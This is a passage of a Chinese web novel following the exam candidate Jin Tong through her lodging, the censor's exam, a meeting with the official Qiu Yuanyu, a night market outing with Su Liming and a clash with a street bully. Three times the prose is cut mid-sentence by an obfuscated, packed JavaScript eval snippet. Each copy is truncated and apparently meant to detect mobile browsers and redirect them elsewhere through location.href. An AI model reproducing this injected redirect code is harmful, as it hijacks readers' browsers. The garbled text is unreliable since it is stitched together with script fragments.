与苏礼明的端方俊朗不同，苏景明身上仍带着少年人的稚气，一张脸天然让人心生好感，哪怕知道他怀揣恶意，在坏事发生之前，也很难讨厌他。 金桐好好欣赏了一番这张俊俏的脸，而后报以一笑，拾起一个山楂卷，自顾自吃起来。 “有趣。”苏景明兴奋极了，嘴角的梨涡若隐若现，像是发现了极好玩的玩具。 苏礼明了解自己这位弟弟，知道他赶是赶不走的，眼见他又盯上了金桐，便警告他：“苏景明，适可而止。” 苏景明头也不回，直接对着金桐憋了嘴巴：“姐姐你看，哥哥好凶。” 金桐受不住这嘴甜心黑的主，抿着嘴笑，又觉得对不起苏礼明，更是笑得声音颤抖：“报歉。” 苏景明适时见缝插针，“姐姐叫什么名字？笑起来真好看。” 金桐本就是个看热闹的，可不想卷入这二人之间的官司，便对苏礼明道：“我吃好了，不打扰你与家人团聚，我先走了。” 苏礼明起身：“我与你一起。” “姐姐还不知道兄长为了何事回西京吧？” 苏景明扯着嗓子问，成功收获来自苏礼明的一记眼刀。 他们走后，苏景明将山楂卷端到自己面前，放肆嚼着，神色意味深长。 考生有专门的驿馆，离杏花楼不远，步行过去，正好消食。 路上，苏礼明忽然停下来，对着金桐没头没尾道：“我确实是因为一些事情回来的。” “嗯？” “你放心，我会处理。” “好。” 不知道他在向自己保证什么，反正应下来准没错。 苏礼明还想再说什么，但看着金桐澄澈如雨后晴天的瞳孔，终究没有说出口。 算了。 到了驿馆，二人产生了有史以来第一个分歧。 苏礼明觉得驿馆中仅有金桐一名女子，算不上安全。 对此金桐倒是不在意，总归是一人一间，无需与人混住。 苏礼明道：“你若不愿在此处，便去别处落脚。” 金桐拒绝：“那不合规矩。” 无视苏礼明的劝说，金桐做了登记，选定二楼尽头一间空房，打算这段日子就在此安歇了。 苏礼明契而不舍：“有何不合规矩？” 他们二人就站在门口，说话将有人上楼，好奇地看着他们。 金桐被看得有些不好意思。 她心意坚决，无论苏礼明说什么都不会改变。 “我就住驿馆，这里都是考生，不用担心。”金桐笑着赶他走，“好了，这段日子多谢你，我这边暂且告一段落，你也归家去忙你的事。” 劝说无果，苏礼明不再多言，只留下了一句“等我”，便暂别了她。 12. 要争 金桐仰躺在驿馆不算舒适的木板床上，久违地感到放松。 她在马车上睡得不少，却从未睡得安稳。 不多时，意识渐渐模糊，她整个人陷入了沉睡。 醒来时已过了傍晚，金桐撑着胳膊起来，浑身酸痛。 拖着疲惫的身子去后院打了水，想要好好清理一下，回到房中却突然察觉不对。 房间未点灯，漆黑一片，她虽看不大清，却敏锐地感觉到不属于自己的气息。 金桐镇定地放下水桶，转身欲出门，手却在触及门扇的一瞬间被人抓住。 她下意识一激灵，张口便要叫人，那人却先一步看破她的意图，单手捂住了她的下半张脸。 温热的呼吸喷洒在对方掌心，金桐感觉到对方明显顿住。 金桐抬脚重重踩下去，踩了个空。 她一愣，对方控制住了她，与她的身体却始终保持着距离，还真是好涵养。 意识到这一点，她深嗅一口，果然是苏合香的味道。 心中有数，金桐便干脆放松了身体，不做抵抗，看苏礼明还能使出什么招数。 果然，她不动作，片刻就被放开，黑暗中传出一声浅笑：“怎么发现的？” 金桐摸黑点了油灯，含糊道：“你身上的味道。” 苏礼明失笑：“竟是因此露出破绽。” 金桐在木凳坐下，用眼睛无声谴责他。 苏礼明道：“傍晚我敲你房门，无人理，想来你应是睡下了。我索性等在隔壁，方才听到你开门我便出来，却见你人走了，门只是虚掩，于是进来和你开了个小玩笑。” 什么小玩笑，她险些以为自己出师未捷身先死，今晚就要交代在这了。 她想生气，又无从生气，毕竟错处在她，诚如苏礼明所言，出门在外还是谨慎为好。若房内的人不是苏礼明，她的结局尚不好说。 “不对，你怎会在隔壁？我入住时隔壁分明已经有人。” 苏礼明答：“我使了些手段让他换了间屋子。” “你不要太过分。”金桐警告他。 苏礼明笑道：“多虑了。五两银子，他离开得很痛快。” 金桐实在无奈。 苏礼明观察她神色，见她面色不虞，又变戏法似的从身后拎出一个食盒，打开还有余温。 里面是简单的清粥小菜，和一碗莲子甜汤。 “你睡着时我出去买的，当作赔罪。” “连赔罪礼都早早备好，你的‘小玩笑’恐怕不是临时起意吧？” 苏礼明并不否认，只道：“实在抱歉。” 食盒中除了甜汤，尽是双人份，想来苏礼明一直等她到现在，还未用饭。 “一起吃吧。”金桐道。 温粥下肚，金桐身上出了一层薄汗，五脏六腑都变得暖融融，她急着清洗，便下逐客令。 他们隔墙而睡，一夜无言。 接下来的几天，苏景明不知从哪得知了苏礼明在驿馆的消息，一日接一日地过来给他添堵。 苏礼明不动如山，反倒是金桐招了牵连，不胜其扰。 小小驿馆容不下这两尊大佛，忍耐到极限，她恳请他们离开，还此处一个清净。 苏景明唇边酒窝若隐若现，得意极了，像是诡计得逞的恶童。 他贴近，声音乖巧和顺：“我听姐姐的。兄长走，我就走。” 与声音截然相反的是，他瞥向苏礼明的眼神却是挑衅又张扬。 金桐面对苏景明正这套没办法，耷拉着眉眼，无计可施地赶苏礼明：“你走吧。” 苏礼明无声地谴责她，不动地方，像在等她反悔。 金桐当然不会反悔。 片刻，苏礼明无奈地起身，拎着苏景明的领子出去，力度颇有几分泄愤的味道。 出去时还不忘帮金桐带上了房门。 金桐想笑，又觉得自己太不地道，不管怎么说，一路以来她受苏礼明照拂颇多。她不但未曾回报，现在更是过河拆桥。 无奈摇摇头，想着大考之后再另行赔罪，此事便暂时搁置脑后。 翌日，麻纸用尽，金桐上街采买。 回来时，驿馆骚动，一个男子拽着另一个男子，骂骂咧咧地出来。 因为金桐是整个驿馆唯一的女子，所以大家对她多有印象，便道：“是你啊，来得正巧，那人潜入别人的屋子盗取钱财，被抓个正着，这会儿正要送往官府呢。” “身为参考的考生，他怎么会放着前途不要，在考试之前行窃？”金桐奇道。 “嗨，还能是因为什么？听说这人好赌，这才来几天，就成了赌坊常客，十赌九输啊。” 偷钱的那人头埋得低低的，金桐瞧不清他长相，但看他衣着觉得眼熟。 旁边的人见她盯着看，以为她是被吓坏了，安抚道：“你也是命好。这人本来住你隔壁，昨天下午说有人拿钱和他换房，还拿着银锭炫耀给我们看。” 有这般事，苏礼明换房可能并非偶然，再结合他昨晚怪异举动，金桐大概知道了原因，心下一暖。 她不再看热闹，正要避开人独自上楼，却意外见到角落处的熟人，刘义秉。 “金桐小姐！”刘义秉高兴跑地过来，道：“小姐来此，可是特意寻我？” 同为考生，在这里遇到刘义秉，并不稀奇。 金桐可没什么兴趣和他叙旧，只道：“白日发癔症。你因何来此，我便是因何来此，听得清楚吗？” 刘义秉反应了一会儿，似是难以相信。 “你你……” 他“你”了半天，反应过来：“你就是那个参考的女考生？” 金桐无意与他寒暄，可刘义秉就挡在楼梯口，金桐想要上楼，总绕不过他去。 “麻烦让让。”她冷冷道。 刘义秉摇摇头，不赞成道：“女子就要有女子的样子，有些东西不是你们可以染指的。你想要功名，我可以为你赚来，你何必抛头露面闹笑话？” 笑话？ 金桐心下冷笑，到底谁是笑话还尚未可知呢。 她强硬地撞开刘义秉，留下一句“有病去治”，便回了房间。 时光如水，这一插曲并未掀起什么波澜，转眼大考已至。 久不出现的苏礼明也终于再次得以露面，身后依旧跟着苏景明。 他二人总是这般形影不离，金桐有时候会想，他们的关系也许并没有苏礼明说的那么差。 苏景明见她出来，问道：“金桐姐姐，考得如何？” 金桐呼出一口气，坦然道：“我已经尽力，无论结果如何我都没有遗憾。” 苏景明道：“姐姐一定没问题的，你说是吧，兄长？” “既已考完，结果已成定局，索性不去想它。”苏礼明看着金桐，笑道，“心中石头落地，可得趁此机会畅游西京。” 金桐道：“苏公子说的是。” 三人正欲欣然离开考场，身后一人高喊留步。 金桐闻声回头，那人穿着暗红考场公服，腰间挂着佩刀，应属巡逻或是监考。 那人先是对着苏礼明与苏景明见礼：“二位公子。” 而后转向一旁她问道：“可是考生金桐？” 金桐不疑有他，回答道：“正是。” 那人得了回应，点点头：“请随我来。” 犹豫间，金桐与苏礼明飞快交换了眼神。 苏礼明微微点头，道：“我就在此处等你。” 金桐报以感激一笑：“好。” 接着果断跟上了前面那人。 考场大门已经关闭，他们转了弯，走了侧边的小门。 一路上无言，金桐虽不明所以，却也不过分忐忑。 穿过几道门，来到一处小院，院中一位梳着妇人发髻的华服女子背光而立。 引路之人侧首抬手，道：“请。” 金桐提起裙摆，轻轻跨过了门槛，再回头，引路之人已不再原处，她的身后空无一人。 她难免因此紧张起来，但既已到此，无论如何也只能硬着头皮上了。 恰巧此时院中的妇人转过身，只见她蛾眉凤眼，雍容华美，即便不知道她身份，也能猜她非富即贵。 关于她的身份，金桐隐隐有了猜想。 妇人莲步轻移，在石凳坐下。 “再过来些，别害怕，来和我说说话。” 金桐往前走了几步，却不由自主地停下。 那妇人面上笑意盈盈，却不怒自威，举手投足间沉淀的压迫逸散而来。 见她又呆愣着停下，妇人干脆指了指一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868510|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁的石凳，道：“坐。” 金桐这次没太犹豫，径直走过去坐下了。 妇人眼中闪过一丝赞赏。 “我名虞元秋。”妇人道。 金桐乖乖开口：“虞夫人。” 虞夫人展颜道：“这称呼倒也有趣，鲜少有人这样叫我。” 金桐跟着笑了笑。 虞夫人又道：“监察官考试允许女子参加，但考场上已经多年不见颜色了。” “竟会这样。”金桐感慨，不过一瞬又想明白。 自古以来科考都是男人的事业，女子的命运从出生起便被安排得明白，她们顺利或不顺利地长大，嫁人，生子，安居在家，为男人孕育下一代男人。 考试虽然是被允许的，但不论在达官贵人家，还是平民百姓家，女子去抢夺男子的事业，都是离经叛道的行径。 她们最先受到的阻难，将来自双亲。 “她们……力不从心。”金桐道。 “也许如此。”妇人不置可否，轻易跳出这个话题，“我调查过你，颍川人士，家境富足。便是不来此与他们相争，也可安稳度日，与他们争了，反而无端惹人厌弃。” “你为何偏要来呢？” 虞夫人的话音娓娓，那一问像是低叹，似是隐含了劝退她的意图。 “我要争。” 虞夫人的话令金桐想起了刘义秉。 那日他得知自己也要参考，就是这样轻视自己的。 她被激起了心气，不服道：“我偏要争。争得来，是我的本事，他们若因此厌我恨我，是他们没有本事。” “要是争不来呢？” 争不来？ 她确实没有想过。 在被问及考试如何，她只说尽力，是在自谦。在她心底，监察官之位势在必得，从未考量过落榜之后的事情。 是她太过傲气了，久处宅院，忘记人外有人，天外有天。 若是落榜，会放弃吗？ 金桐这样问自己。 “我会一争再争，直到争来为止。” 这便是她的答案。 “可争来了才是真正艰难的开始，做官不似考试，努力了也未必有好结果。早些归家，那才是于女子而言最好的出路。” “那不是我的出路，我的出路从来只在我脚下。” 在虞夫人的一再逼问下，金桐心底渐渐生出愠意。 顾不得自己晚辈的身份，她的回答带了丝强硬。 她以为虞夫人会恼怒，不想对方却是微笑抚掌。 “好。”虞夫人语含赞许，“你要记得你说过的话。” 虞夫人递出一枚玉佩，上好的羊脂玉雕的双鱼样式。 “你有这份心，不必跟那群男人共事，不如跟我，好歹能少走些弯路。” 金桐婉言相拒：“玉佩贵重，请夫人收好。” 她的拒绝倒令虞夫人意外，她不相信任何一位女子能拒绝来自她的橄榄枝，除非不清楚她的身份。 “你可知道我是谁？”虞夫人问道。 “差不多知道，”金桐想了想，又补充道，“但也许不准确。” “说来听听。” “二十年前，有一人以女子身份参试，一举中第。平江南水患，改革田制，惩戒贪官，走遍大周每一寸土地。百姓爱戴她，官员敬畏她，无人不知她名讳——邱元玉。” 言毕，金桐起身行礼，敬重道：“邱监察。” 邱监察看着眼前的金桐，坚韧，聪慧，越发欣赏。 可是太固执了。 邱监察虚扶了一把，惋惜道：“我像你这么大的时候，一意孤行走最艰难的路。后来年岁渐长，才慢慢意识到，这世上的南墙不必都亲自撞一撞。” “该吃的苦前人吃遍了，该遭的罪前人遭尽了，我在黑暗晦乱中拼杀出一条平坦前程，为的就是后来人不必再陷在泥泞之处。” “你是聪慧的孩子，不该拒绝我为你引的路。” 金桐不语，对着邱监察深鞠一躬，头低得不能再低。 拒绝自己仰慕的前辈，她心中既有羞意也有愧意，但更多的是无法撼动的坚决。 “世事于我，从来没有该不该，只有想不想。” “金桐愚钝，总得撞上南墙才知道回头。” 13. 夜市 一个时辰后，金桐回到考场门前，手中攥着雕成双鱼形状的羊脂玉佩。 太阳西沉，天边仿佛浸染了胭脂水墨，红彤彤地透出暖意。 如画的夕阳下，苏礼明如约等待着。 他一直在等自己。 下坠的心忽而轻松不少，金桐扯了扯嘴角，走上前去问道：“怎么就剩你了？” 苏礼明定定看着她，目光洞悉明澈，似要将她看穿。 金桐的心事瞒不过他。 金桐不喜欢这种感觉。他好像无所不知，而自己好像一无所知。 在苏礼明的注视下，金桐的嘴角渐渐僵硬，面上的假笑再也挂不住。 她垮下脸，虽不至忧愁，但到底不比之前情绪高涨：“好吧，什么都逃不过你的眼睛。但我不想说，也请你不要问。” “毕竟我也从未问过你的事。” 邱监察的人与苏礼明打招呼，她可是看得清清楚楚。 半天没等到苏礼明开口解释什么。说不清出于什么心理，金桐赌气一般，当着苏礼明的面，大大方方把双鱼玉佩收在袖子里。 苏礼明的视线只在其上停留一瞬，便问道：“晚上想吃什么？” 他这样一说，金桐才觉得腹中空荡荡的。 近来她比在家中时更容易感到饥饿。在颍川时，经常一不小心忙过了饭点，倒也就那样过了。 自从来到西京，她的一日三餐被苏礼明安排得规律极了。就连苏礼明未曾出现的那几天，食盒也叫人准时准点送到了她的门前。 金桐的手不自觉摸上自己的脸颊，感觉好像确实更丰润了。 罢了，吃人嘴软。 人都有秘密，她的秘密也不曾与苏礼明说过。 更何况她与苏礼明又不是至交亲友，只是凑巧因为一个共同的朋友牵扯在一起。而苏礼明受王盛宣委托，待她也算得上尽心尽力了，何必再贪心其他。 不过是朋友之友而已。 金桐在心中默念了一句，决意将那些错乱复杂的心思抛诸脑后。 “小苏公子怎么没和你一起？”金桐将话题绕回最初。 “我让他先回家陪父亲母亲用晚膳。”苏礼明回答。 “哦，这样。”金桐显然还未完全调整好自己，有些心不在焉，“那你呢？” 话一问出口，她就懊悔地咬了下唇。 这是什么明知故问的蠢话。 苏礼明发出一声闷笑，更令金桐红了耳尖。 “家中父母有景明一人陪伴足够，我若一起回去，他们晚膳反而不得消停。” “抱歉，我本无意探听你的家事。” 苏礼明是为了给她解围才这样说，这是他特有的体面周全，令人如沐春风。金桐因此感到抱歉。 “不必介怀，算不上什么私密之事。我曾经说过，金桐小姐若想了解什么，尽管相问，我将知无不言。这句话依然奏效。” 来西京途中的马车上，苏礼明确实这样说过。 他今日旧事重提，金桐无端觉得苏礼明在引诱她。 他似乎很期待她主动问起什么。 不知道苏礼明葫芦里卖的什么药，反正金桐总归不会如他的意。 “我饿了，我们先去吃东西。” “也好。”苏礼明总是进可攻退可守，游刃有余，“想吃什么？” 酒楼连着吃了好多天，即便是珍馐御宴也吃该腻了。 金桐认真思索着，想起小时候经常缠着吴嬷带自己去夜间的市集。 长大后她接手了金家事务，忙得抽不开身，即便琐事之间偷得半日闲，心境也全然变了。 上一次去夜市是什么时候已经记不得了，小吃的味道在记忆中模糊得仿佛涟漪水波，但夜市上的人气与繁华烟火却深深烙印在脑海中。 即便上一世最阴暗的那段时光里，记忆中的人气与烟火也始终温暖着她。 那是她人生中少有的无忧无虑的时刻。 “去夜市吧。”金桐怀念道，“我已经很久没去了。” 夜幕降临，二人并行，穿梭在熙攘的人流中。 道路两旁挂起七彩的琉璃灯盏，炫目的暖光驱散夜的暗沉，暖色的灯光下，整条街道映照得异彩纷呈。 苏礼明在小摊买了两张馅饼，递到金桐手中的时候还呼呼冒着热气。 二人站在街边，捧着烫手的油纸，相视一笑，然后各自开吃。 金桐鼓起腮吹了吹气，小心地咬下一口。 馅饼是牛肉馅的。 摊主的手艺好，酥弹的饼皮裹着多汁的肉馅，其中隐约可以尝出葱末的香甜。那葱切得细细的，只提香，吃不出颗粒。 就这样边吹边吃，一张饼很快所剩无几，非但不让人觉得腻，反而激发了胃口。 吃完一张饼，金桐一脸餍足，香得眯起了眼。 苏礼明相比她而言，吃得斯文多了。 那么烫一张饼，他连吹也不吹，金桐真不知道他是如何做到面不改色吞下去的。 便是这么个吃法，他的速度也不慢，几乎与金桐一起吃完。 金桐看向他的目光都含了几分敬佩。 将油纸丢在固定地点，接下来便去寻觅下一份食物。 街上的小摊令人目不暇接，他们陆续吃了些寻常小吃，仍不尽兴。 倏尔金桐的鼻子却敏锐地捕捉到了一阵奇异的香气。 顺着香气一路寻去，最后停在一个烧得乌黑的炉子前。 那炉子与寻常炉子不同，长条形状，中间是凹槽，槽内盛着黑红的炭火。 钎子穿着大块的肉，在炉上炙烤地滋啦作响，老板随手往上撒了一层细碎的粉末，奇异的香气便强烈迸发出来。 这东西新奇，她在颍川不曾见过。 金桐指着旁边的木架，上面整整齐齐挂着一排排肉串。 “老板，这是什么？” 摊主给炉子上的烤肉翻了个面，“小姐没见过就对咯，是不是觉着我这烤肉闻着比别的更香些，闻着就走不动道了？” 金桐点点头：“就是闻着味找过来的，香味确实特别，可是与撒上去调味料有关？” “就是呢！”老板解开一个麻布袋子，敞口给金桐看，“这香料是从西域传过来的，别处可没有！就连这炉子，也是学着西域那边的样式做的，烤出来的肉风味十足！” “二位尝尝？一串五文钱。” “来两串。”金桐道。 苏礼明正要付钱，金桐拦下他，道：“这次让我请你吃。” “多谢。”苏礼明道，放下了解钱袋的手。 炉子前面有个铁碗，里面装着铜板，是摊主专门用来收账的。 金桐查出十枚铜板，丢进里面。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868511|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “老板，十文钱。” “好嘞。” 摊主烤好两串肉，递给他们。 金桐举着烤肉，深吸一口气：“好香。” 摊主乐呵呵道：“刚烤好的肉串，小心烫，但也别凉太久，这肉要趁热才好吃。” “知道了。”金桐应了句，对苏礼明道，“吃啊。” 苏礼明也举着烤肉，只是这画面怎么看怎么滑稽。 像他这样的翩翩公子，手中可以是折扇，是佩剑。 现在却呆呆地举着烤肉，这可太有趣了。 金桐咧着嘴笑，再次催他：“快吃。” 苏礼明轻轻咬下顶端那块肉，金桐忙问他：“怎么样？” 苏礼明仔细嚼着，慢条斯理地咽下去之后，才道：“令人惊喜。” 金桐迫不及待地也咬下一块，正如苏礼明所言，果然令人惊喜。 三下五除二吃完一串，金桐仍意犹未尽。 “你还能吃得下吗？” 苏礼明道：“小姐相邀自当作陪。” 这人真是，金桐无奈，他的口腹之欲怎么还拿自己当由头啊？ 她嗔了苏礼明一眼，往摊主的碗里又丢了十文钱，道：“老板，麻烦再来两串。” 又一串下肚之后，金桐才觉得满足，她问苏礼明：“还吃吗？” 见她已有饱意，苏礼明道：“不吃了。” 别过烤肉摊主，二人溜溜哒哒往前走，权当消食。 路过一个糖水铺子，苏礼明提议道：“要不要在这歇一会？” 金桐一看见糖水，来了兴致。她吃过了咸口的，嘴里正馋甜的。 找了个边上的位置坐下，金桐点了碗绿豆汤，又问苏礼明喝什么。 苏礼明要了壶茶水。 金桐用勺子小口小口喝着绿豆汤，夏季夜晚的风吹拂过面庞，她思索着未卜的前途，心中却莫名安宁。 关于邱监察的话，她心中已经有了决定。 “多谢你。”金桐低头捧着碗，小声对苏礼明道。 她由衷感谢他。 从颍川到西京，她经历许多，今天的事尤为深刻，她也确实感到疲惫了。 她没有看起来那么豁达乐观，站在人生的分叉路口，她也会迷茫和脆弱。 在她看不见的地方，苏礼明精心安排，默默为她挡下了诸多烦扰。 敏锐如他，不会察觉不出她今晚的异样。他没有刻意做什么，只是陪着她吃吃喝喝。 于她而言，这是最好的支撑。 如果没有苏礼明在身边，有些事情她最终也将下定决心，但绝对不会这么快，也不会这么轻松。 金桐又喝了一口绿豆汤，滋味清甜。 她想，独自一人下定决心的过程必将是孤独煎熬的。 苏礼明好似没听见一般，他问老板娘要了一只新茶杯，用热水滚了一遍，斟满了茶推给金桐。 “茶可清心。” 金桐端起茶杯饮尽，杯底一空，她的烦恼好似也随之空了。 “这茶虽不如我家的，喝着倒也有点意思。” 苏礼明道：“市井滋味尽在其中。” 倏尔人群一阵骚动，一群不速之客横在路中央。 为首的是一细高男人，操着一副破锣嗓子，指着对面卖草鞋的摊位，高喝一声：“给我砸！” 14. 恶霸 随着破锣嗓子一声令下，他身后的人一拥而上。 摆摊的是一个十三四岁的少女，虽然害怕，却还是从摊子后面窜出来，哭喊着哀求他们：“你们别碰我的摊子……” 对方来势汹汹，哪里听得她的话。 她拦不住人，只能整个人趴在摊子上，用身体护住上面的草鞋。 两个男人一左一右把她拉开，驾着她到破锣嗓子旁边，让她亲眼看着自己的摊位被掀翻，草鞋全都滚到地上，被他们用脚狠狠碾碎。 少女泪水糊了满脸，低声哽咽着：“不……不要……” 一切发生在瞬息之间，金桐和苏礼明挤过人群，只看到那两个男人像丢抹布一样，把少女丢在破碎的摊子前。 少女捡起地上踩烂的草鞋，不住呜咽。 金桐冲过去扶起少女，冷脸对着破锣嗓子道：“赔钱。这些草鞋值多少钱，你尽数赔给她。” 苏礼明默默站在了她身边。 破锣嗓子的死鱼眼轻蔑一翻，鼻中一声冷哼。 “你二位要当出头鸟，也不看看黄历，逞英雄逞到你爷爷脸上。” “天子脚下，岂容你这般为非作歹！”金桐上前一步，“你若不赔，我们就报官。” “报官？”破锣嗓子像听见天大的笑话，有恃无恐道，“信不信爷爷让你们今天走不出这条巷子？看你们还怎么报官！” 少女知道他说出口便能做到，瑟缩着拽住金桐：“算了，别因为我和他们硬碰，你们快些离开吧。” 破锣嗓子道：“哟，现在知道害怕了？晚了！” 他仗着自己人多，狂得不行，他抬手指着苏礼明，他最讨厌的就是这种小白脸，仗着认识几个字就瞧不起他，没什么本事还爱演英雄救美的戏码。 “男的留口气就行。” “至于女的嘛……”破锣嗓子的手指移向金桐，不怀好意地上下扫视，“女的长相合爷胃口，尽量别伤着，抓回去找点乐子。” “恶心。”金桐皱着眉轻声吐出两个字。 “哎呦，有性格。”破锣嗓子吐了一口吐沫在地上，兴奋地搓手，“跟我回去，让我好好调教调教你。” 几个大汉朝他们过来，周围百姓竟无一人出来制止，全都闷声袖手旁观。 金桐心中酸涩，说不上是失望还是什么。 她看见糖水铺的老板娘在人群后着急，想要挤进来，却□□瘦的老板拉住。 老板娘一手甩开老板，老板苦着脸说了什么，老板娘定定站住，最终垂下手，低头回了糖水铺子。 金桐释然了。 大家都是有家有业的普通人，不能没有顾忌地伸张正义也是人之常情。 她自己选择管这桩事，不该指望别人与她同样行事。 她凑近因为害怕而一直颤抖的少女，用只有她们两个人能听到的声音小声问道：“你认识那个恶霸吗？” 少女点点头。 金桐道：“好。麻烦你找机会跑出去帮我报官，我叫金桐，是记录在案的参考考生。你就说我被那个恶霸掳走囚禁，官府的人不会不管。” 少女震惊，湿漉漉的眼睛瞪得大大的，“女人也能当考生吗？” 金桐对她绽开一个笑容：“当然。” 少女道：“我会帮你报官的，这是我应该做的。那个人是附近有名的恶霸，官府也不愿意和他扯上关系，他们万一不派人救你怎么办？” 金桐的心往下沉了沉，手不自觉地摸上袖子，里面收着那块羊脂玉佩。 她拍拍少女，道：“你只管大喊，说我是邱元玉邱监察门下的人，他们一定不会坐视不理。” “邱元玉邱监察，我记住了。”少女攥着拳坚定道，“我一定会救你的。” 金桐交代完，便主动站出来，侧头对苏礼明小声说了句抱歉，挡在了他和那几个壮汉之间。 “我可以跟你走，一人做事一人当，这事无关我朋友，你不要为难他。”金桐高声对破锣嗓子道。 “让我放过他，可以啊，你叫声好哥哥，叫得好听我就饶了他。” 金桐厌恶道：“你别得寸进尺。” “不叫是吧？”破锣嗓子无所谓地撇了撇嘴，点了一个跟班，“给我打死那个小白脸。” “你！” “快跑——”围观人群中有人大喊一声。 金桐回头，身后的人们不知何时向两边散开，悄悄给他们让出一条通路。 金桐反应快，瞬间明白过来，一手拉过少女，一手扯着苏礼明，转身跑出人群。 在他们离开的瞬间，两边的人又自动靠拢，通路闭合，阻拦了后面的追击。 破锣嗓子喊道：“别跑！”一边喊，一边试图穿过人群。 可面前的人群就像一堵密不透风的人墙，任他怎么冲也冲不过去。 金桐头也不回，把破锣嗓子的叫喊声远远甩在身后，在这一刻，迎着风欣慰地笑起来。 不知跑了多久，他们在一个漆黑的小巷停下来。 因为长时间的奔跑，金桐整个胸腔都在剧烈地震颤。 “苏公子，今天是我连累了你。”金桐懊悔道，“我没想到西京竟有这般目无王法之人。” “为何会说连累？”苏礼明不解道。 “因为我的话，差点置你于险境。” “唔。”苏礼明意味不明地应了一声，“已知结果如此，若重来一次，方才的事你可还会管？” 沉默良久，三个人的呼吸声在狭窄的巷子中清晰可闻。 “抱歉。”金桐道。 少女以为这声抱歉是说给自己听的，连忙道：“没关系的，姐姐。” 毕竟即便是她自己，也没有反抗的勇气。 少女感觉自己头顶一沉。 金桐在少女脑袋上揉了一把，然后对苏礼明道：“抱歉啊苏公子，重来一次的话，请你躲我远一点吧。” “哈。” 随着苏礼明的一声轻笑，低沉的气氛顿时消散。 少女被金桐鼓舞道，挣扎许久，轻轻拽了下金桐的袖子。 “姐姐。” “嗯？”金桐低头看她。 “我也会学着反抗的。”少女攥着拳头给自己打气，“重来一次，我会自己替自己出头。” 金桐没说话，只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868512|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着在她头顶又摸了一把。 他们在巷子里呆了一会儿，呼吸也平复下来，打算先送少女回家。 苏礼明走在前面，行至巷子口，一个夹着劲风的闷棍直袭苏礼明面门。 “小心！” 话音出口的瞬间，苏礼明就有了动作，他抬臂一抓，仅凭单手就接下了那一棍。 与此同时，另一侧，又一棍子接踵袭来。 金桐想也不想，旋身去挡。 苏礼明将其拽回，宽大的手掌按在她的脑后。 他一手将金桐护在怀中，往后两个撤步，轻巧避开第二棍。 随着他的后退，先一棍的人被他从墙角拽了出来，重心不稳地倒过来。他一记重踹，那人棍子脱手，像断了线的风筝一样飞出去，狠狠撞在对面的墙上，没了知觉。 另一人还未反应过来，苏礼明便握住他的手腕，向外一扭，只闻得一声令人牙酸的骨头错位的声音。 金桐被苏礼明按在怀里，眼前是竹纹的衣襟。她脑子里懵懵的，完全不清楚身后的情况，只听到清脆的“嘎巴”声，接着就是尖利的嚎叫。 苏礼明松开了禁锢金桐的手，错身走出黑巷。 金桐转身去瞧，墙边躺着一个人，棍子就掉在手边，巷口靠着一个人，举着手痛苦呻吟。 她拉过少女，让她走在另一侧，用身体隔开了地上那人。 巷子外，破锣嗓子脸上挂着错愕。 他早就找这来，听着他们在巷子里说话，便让人埋伏在巷子口，只等打他们个措手不及。 没想到几个呼吸间，自己这边折损两人，巷子里的人却毫发无损。 他胡作非为，从未吃过瘪，今天算是头一次。 此时他身边还剩两人，感到心里没底，连说话都开始结巴：“给，给我一起上！” 两个人一起冲过来，苏礼明回头对少女道：“看好她。” “她”当然指的是金桐。 少女得了指令，立刻张开双臂挡在她面前，目光炯炯。 金桐本也没想加入战局，看到地上那两个人，她心中有了大概。 若是上前掺和，只会帮了倒忙。 即便知道苏礼明有自保的本事，她也不敢掉以轻心，紧张地盯着战局。 那两人分别夹击在苏礼明两侧。 苏礼明站在中间，不像要打架，反而闲适得像个受他们保护的公子哥。 他们只将苏礼明围住，谁也不敢先动手。 先前两个人是什么下场，他们看得一清二楚，不免心生惧意。 他们怕，破锣嗓子更怕。 他扯着脖子喊骂，是骂两个没用的手下，也是给自己壮胆。 “动手啊！他娘的废物！” 片刻后，毫无悬念，地上又多了两个躺着的人。 只剩破锣嗓子一个人，月光将他的影子拉得细长，他本人比影子也不遑多让，仿佛一支颤抖的麻秆。 眼看着苏礼明一步步靠近，他想跑，两条腿却像灌了铅，直挺挺立在原地。 直到苏礼明站在他眼前，他才勉强回神，强撑道：“你，你们要干什么！” 15. 圆月 苏礼明捏着破锣嗓子肩膀，将他拖拽到金桐跟前。 他的脖子缩在衣领里，像只受惊的乌龟。 半个时辰前他还对着金桐口出狂言，现在却连正眼看她都不敢。 “怎么处置？”苏礼明问。 破锣嗓子心知自己将人得罪大发了，已经做好了先挨几个巴掌的准备。 他紧咬着牙，却只听见金桐问他：“你可愿意赔钱？” 